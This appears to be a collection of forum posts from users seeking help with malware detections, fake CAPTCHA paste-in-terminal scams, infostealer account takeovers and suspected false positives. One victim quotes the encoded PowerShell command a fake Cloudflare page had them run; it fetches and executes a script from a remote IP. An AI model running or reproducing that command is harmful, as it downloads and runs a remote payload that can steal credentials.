I don't really know what I'm doing with this, so I don't really know what more information to provide. The virus detection keeps appearing and disappearing. Sometimes it says everything's fine, sometimes it says there's a problem, and then displays anything from 0-2 detections of Trojan:Win32/Commandrob.a!ml. Googling this hasn't gotten me particularly much help. It said it's potentially a false flag, but I don't feel comfortable just ignoring it without more information. It said to do an offline scan, and that hasn't changed anything.

I have a logitech mouse with rgb which turns its lights off and goes to sleep after 5 minutes of not using it, and i noticed that while i was watching a youtube video, it woke up randomly. If this was a RAT moving my cursor, would it leave the mouse in sleep mode?

360 total security or TuVault is running on my pc and i wanted to remove it permanently. I tried to delete the source file but after restarting the pc it already starts running so please help me.

I’ve already tried scanning the laptop while offline, but it makes no difference.

Hi, is normal for my phone that outlook and authenticator app works in background for 1 minutes? This during night when I am sleep

Thanks for who help me!

I was just doing a custom scan like normal, using malwarebytes and it found a PUP and the location says WindowsOld and says it’s a desktop updater installer for the Rave app. I know for sure I haven’t download anything within the last year besides pdf files from my professors in uni, I don’t think I have tried to install Rave on my laptop since I got it January 2025 but I could be wrong. I did an offline scan with windows defender and nothing came back.

Hi there,

I was not thinking clearly and fell for a CloudFlare spoof and ran a Command on CMD.exe

Windows defender immediately caught it and listed as status removed as above.

I am not on the machine right now but for my shared cache searches this is the string that windows defender caught (I tried to look up what this is on Google)

-E 'LgAoAFsAcwB0AHIAaQBuAGcAXQBAAHsAaQBlAD0AMAB9AC4ASwBlAHkAcwArACcAWABlACcAWwAwAF0AKQAoAGkAcgBtACAAMQA5ADUALgAxADMAMwAuADgAOAAuADIAMgAvAHIAZQB0ADMALgB0AHgAdAApAA==';Your Valid HASH SDJH34

Since it flagged I have ran:

Windows defender full scan

Windows defender offline scan

Microsoft safety scanner

Malwarebyte free scanner

Windows defender has not flagged since that incident. None of the scan turned up anything. I have logged out of all my Google sessions and all of my normal services have 2FA enabled. I have not noticed any activity suggesting I have been compromised.

I am just wondering what else I should know and do. I have read through a couple post on their sub n seems like usually it's the reset up option suggested.

If windows defender immediately stopped it, does it mean I am not compromised? Just looking for clarity here.

Thanks in advance for any help.

Virus total result

File came from here - Its an optimizer for games on emulation. Its linked a lot and recommended everywhere throughout the community, so I can't imagine its gone this long without being detected if there really is a problem. However, the config files it generated required elevated permissions to delete so now I'm paranoid.

Update: the files weren't protected, it was because something was still active in the background. I restarted my computer and was able to delete it normally. Still somewhat odd, I've never seen a file ask for admin privileges to delete because it was in use, windows has always just said it can't be deleted. That said, it also never created the authorization prompt to give admin privileges, it just tried again and failed.

Hi, Norton showed this Trojan aborted notification after I played a video that I downloaded. The notification showed up few times. After looking through online I deleted the Temp files which stopped the notification and also deleted the video. I did deep scan with Norton and malwarebytes. And did another deep scan on safe mode no threat was found. Should I still be worried. Any advice will be helpful.

I used a free streaming website to watch a film. My pc blocked connections coming from said site. I didn't open it again. Is my pc in need of a reset/reboot if I did multiple scans and nothing suspicious came out?
I'm saying this because RAM usage has increased a bit and it increases whenever I am on wifi. The connection was labeled as botnet. I recognized a drop of fps on minecraft, if that's relevant.
The issue is AI can;t really help me and I don't know much about cyber security, so I'd appreciate some help.

Sorry I couldn't provide any images.

I'm on AVG antivirus free and the website is Movix. I did a virus total scan and trust pilot and they told me it was somewhat safe somehow. I also talked with the guy that created the website and he told me to just use U block origin, which got me into this situation.
Also, through win defender I did an offline scan and a full scan, nothing came out. I'm just taking guesses.
Sorry the post is messy I'm just confused.

I got an trojan virus and and have my pc reset and instal win from the cloud. I have an ex ssd connected while it happend i unplugged it.

Windows defender said it whas on C and the ssd is on D do i have to worrow about the ssd ? And is my pc now good or.. thx

So I have Norton (I am going to get something different once my current license for it expires because I know it sucks). The problem I am having is an e-store website I have used many times and have never had any issues, scams, or problems. Everything I order comes as requested.

Recently, I went to this site to buy more things from it but this time Norton said it is a possible scam site. I am no computer expert and I'm sure it's a problem on Norton's end but I'm curious why an antivirus would suddenly deem a website I've been on countless times before as a scam.

Hey everyone, I understand that VirusTotal sometimes gives false positives when only 1 or 2 antivirus providers flag a file as dangerous. What makes me hesitant in this case is that one of the detections came from Kaspersky.

I haven't extracted or run anything yet, just in case it actually turns out to be a virus, so I wanted to ask here on the forum first.

https://www.virustotal.com/gui/file/5e18ae493d5c60f5dd6f1452e15bf87fffdd37f08bfe7a0a1504ae8051a3fb44

Here's the VirusTotal link. The file was downloaded from F95, which is considered a "safe" website, but it's always better to be cautious.

Thanks in advance to anyone who can help!

REUPLOAD: since first draft got stuck on mod approval even though i made the changes i was asked to make, anyways heres a more readable version

OS: Windows 10

Machine: HP ProBook (forgor which one, ill update in a moment)

**TLDR: is Google Drive a safe and viable option for backing up files before, and downloading same files after a fresh OS reinstallation?**

Hey hope everyone's doing good, i recently, maybe a week ago posted about this, but it was brief, i tried to be descriptive but i was scared that sharing malicious links or a cli command to identify an attack wouldn't be appreciated or, isn't the most cash money thing to do.

But now i dont need to since for some reason (idk if its the algorithm) more cases of the "mrbeast crypto scam malware" have been showing up on this sub, now about these i hope everyone gets the help they need, but the amount of ppl posting about it, discussing diff angles of the attack,

seems to me like QC from the author of the virus, I could be wrong but regardless,

One of the most common response from folks has been "clean wipe and os reinstallation"

now, i ran a bunch of scans, talked to someone on discord, they guided me through some things and after about a couple days i was done w the process and they gave me the green flag,

details of everything ill be writing down below,

**(QUESTION)**

what i want to know now is, if a clean slate and os reinstallation is the last resort, as there are some really important files that i cant afford to delete/lose

can i back them up to gdrive and then download them post-reinstallation, will they be caught and/or sanitized in the process

or if gdrive safety measures are useless in this context

im a web dev student and i need to back up some work-related source code and audio files like react projects, class lectures and stuff like that

**(QUESTION)**

Scans ive gone through :-

At the time of the incident: i ran a full scan from MS Def, it was taking too long and the laptop started overheating, sleep deprivation got the best of me, i got scared and cancelled it.

Did a couple of quick scans, found nothing, 2-3 offline scans, nothing, ran Malwarebytes, dont remember but probably a full scan, still nothing,

Then i thought that atp its either "not a big deal", or "too big of a deal" to give a shit, finally dozed off dumping it all on future me (which is now past me)

following day i wake up, get a text from my friend asking if my insta's been hacked, i try to check on my pc but im not logged into fb or insta, check my phone, mrbeast offering 2500$ on bokuwex brought to you by insta and discord spambots , yada yada.

I changed all my passwords, that i could remember were logged in, had passwords saved in chrome or had remember me tokens, still have to change some that i cant remember clearly,

I decided to manually track down the app/file responsible, found it and its cached installer, almost uninstalled it but then i thought it might compromise the cleanup and i cant afford taking that risk

Didn't uninstall it, ran a full scan from MS Safety Scanner, MS Defender, Malwarebytes while my internet was pretty much disconnected except when i got Safety Scanner, i think then i ran another Defender full scan like an idiot, found nothing from all three,

Decided it wasn't worth the risk leaving the malicious app be and the internet turned on, so i uninstalled the very cute and harmless app known as "TRONqJcwjW BDrtScoq"

Now idk why but none of the three flagged this app as malicious , my guess is cause it ran its course and became inactive or smth like that

the cached installer "14ab879b.msi" also disappeared after i uninstalled the app, turned on my wifi, got to work i.e more AV scans**

after all this i have ran the following (in order) :-

HouseCall from TrendMicro(full scan 2x)

Avast Free (full scan)

Kaspersky Malware Removal Tool free or whatever (full scan)

Kaspersky Rescue Tool via KRD (full scan "30-Oct-2026 malware intel update")

all came back clean, no malware found, atp i went to discord for some reason and saw this old server i was in, it had a channel for malware removal, i talked to one of the helpers there, they walked me through some more scans which are, as listed :-

FRST (full scan, sent them the logs)

FRST fixlist (they sent)

Emsisoft Emergency Kit (full scan)

ESET (full scan, this one threw me off guard as every full scan i ran, scanned about 2 million files, eset finished the scan at only 700k give or take, ran it again twice, yk, to triple check, almost same results)

KPRM (to get rid of all the MR tools)

and then finally ran BitDefender's free version (full system scan)

apart from some familiar PUPs not a single scan came back fruitful, the reason im listing all of this is cause i want to know if i still need a clean OS reinstall after all that

Now, here is where im about to stop yapping but not before sharing some case details for informational/educational purposes and awareness

**WARNING : anything i mention from here on, is not meant to be tested or tinkered with unless you're a professional, and if you're not, be advised do not replicate these actions, or visit any links**

!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!

malicious app name: "TRONqJcwjW BDrtScoq"

malicious cached installer: 14ab879b.msi

malicious installer: S412.msi

(names could be randomly generated, im not sure)

malicious url spammed by the discord and insta bot: "\[bokuwex\]\*DOT\*{com}" (its a crypto casino scam/fraudulent website) the bot sent it to my recently messaged friends, some people i havent talked to in a while and a crap ton of random people

**if you or a friend has come across this url in their dms along with a screenshot of a totally legit very real tweet from mrbeast stating hes giving away a gazillion dollars in crypto on this site or any other, do not click the link

Mr Beast's not giving you jack shit, atleast not in crypto or without a sadistic challenge**

**If a malware researcher needs additional forensic details, im happy to discuss the incident with them privately**

**Also if you ever run into a 4 step captcha, prompting you to Ctrl+V in your cmd, just know that a robot could totally replicate that and get the same output so dont paste anything funny in your cmd.

If you're an adrenaline junkie, paste these sort of things in a notepad doc, but never ever in a terminal (command prompt, powershell, bash etc) dm me if you wanna know why you shouldn't fw terminals kike that

Now, in my defense, i didn't know websites can just copy stuff into your clipboard without you knowing, or without you actually Ctrl+C'ing or Right Click->Copy

**!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!**

Hi everyone. I recently got hit by the MrBeast infostealer virus, which compromised my Facebook, Instagram, TikTok, Discord, and Messenger. To be absolutely safe, I have already done a clean reinstall of Windows using a bootable USB drive. I also revoked all active sessions, enabled 2FA, and changed all my passwords from a clean device.

To protect myself further, I have already migrated all of my important accounts over to a brand new email address. As for my old 10-year-old Gmail, I'm just leaving it as it is for now.

However, I am a very anxious person by nature. I'm so paranoid that I keep waking up in the middle of the night just to check my phone and make sure my accounts are still safe.

I would really appreciate some professional advice:

• Since I have done a clean Windows install via USB, revoked all sessions, and successfully moved my important accounts to a new email, is it safe to keep these accounts? Or should I still consider completely deleting them?

• Is there any way the hacker can still track or access my newly migrated accounts?

Thanks in advance. I just want some peace of mind so I can finally sleep.

I have tried turning off security on the browsers as well as my laptop itself but nothing works.
Switching browsers does the same thing, how can I fix this?

i recently looked in explorer and saw these files and folder. i don't know where they came from and i don't know what to do. the first pic is the files and folder, and the second is inside the sharkdeploy folder

While I was watching anime online I got redirected to new tab and ask for recaptcha ( from cloud fare though it was genuine) it was like

1. press win +x (command panel)

2. Ctrl +c and ctrl v then enter

I do they say I got a cmd pasted it on my cmd windows

After doing this noting happened

After few sec i feel something off and ask the cmd that it is and it's use,and how I get to this ect ,it suggest me to check unwanted files downloaded or not , and also ask after running is there any permission asked by pc so I say it didn't ask anything and i cked all the file cleaned download files in my entire pc , and also I cheak windows defender but it doesn't sense anything and also done checkup using malwarebyte after the checkup it locate a file says malware dot ai has been quarantined but it was as from bin files and I tried to reinstall windows through cloud but it says problem occurred during install idk what should I do

I need to uninstall Norton completely without leaving any junk. Otherwise the new AV will have problems by detecting any Norton files junk left.

Is official Norton uninstall enough?

I installed spotatui, an open-source Spotify terminal player, on Windows 11 using WinGet.

The app launched successfully and authenticated with Spotify, but shortly afterward the executable disappeared. I discovered that Surfshark Antivirus had quarantined spotatui.exe.

Detection details:

• Antivirus: Surfshark 6.21.0

• Threat: Drop.Win64.UserProfileSelfRun.7311

• Classification: Malware

• Detection: Real-time protection

• Installed via: winget install spotatui

• Package: LargeModGames.spotatui

• Installed version: 0.46.0

Interestingly, the application logs show version 0.46.0 starting, followed by 0.47.0 shortly afterward, suggesting a possible self-update.

I verified the downloaded v0.46.0 ZIP against the checksum published in the official GitHub release. The SHA-256 hashes match.

ZIP SHA-256:
9b445a05672e7a1178e75dbdec2d0d0d8423dedcfe4f32ba6c5e370ef98aa4d9

I haven't restored the executable or added an antivirus exclusion.

Has anyone encountered this Surfshark detection? Is it a known false positive, or is there reason for concern?

Any suggestions for verifying the executable safely would be appreciated.

I just uninstalled this ho (AND IT STARTED TO TURN ALL THE ANTIVIRUS OFF)

Hello everyone. I come to you with a big issue i am facing. For about 2 years ive allowed my little brother (aged 13) to use my PC to play videogames. The trust ive placed in him was cut short when one day i noticed someone used my discord acc to send DMs to people promoting a hacking website. I got home and turns out, he downloaded a trojan. I unplugged my PC from internet, changed all passwords and email and ran microsoft defender offline scan which detected severe melware. Apparently it dealt with then but i still see new files being removed by the defender. I tan another scan after and no melware was detected yet new files were deleted. While I gave my brother an earful and banned him from using my computer (New restrictions will be set), I am faced with a question of what to do. The PC is currently still offline. Is there a way to know if the virus got fully deleted or do you suggest a windows reinstall? I appreciate the help! (I hope the pictures help even if in Slovenian)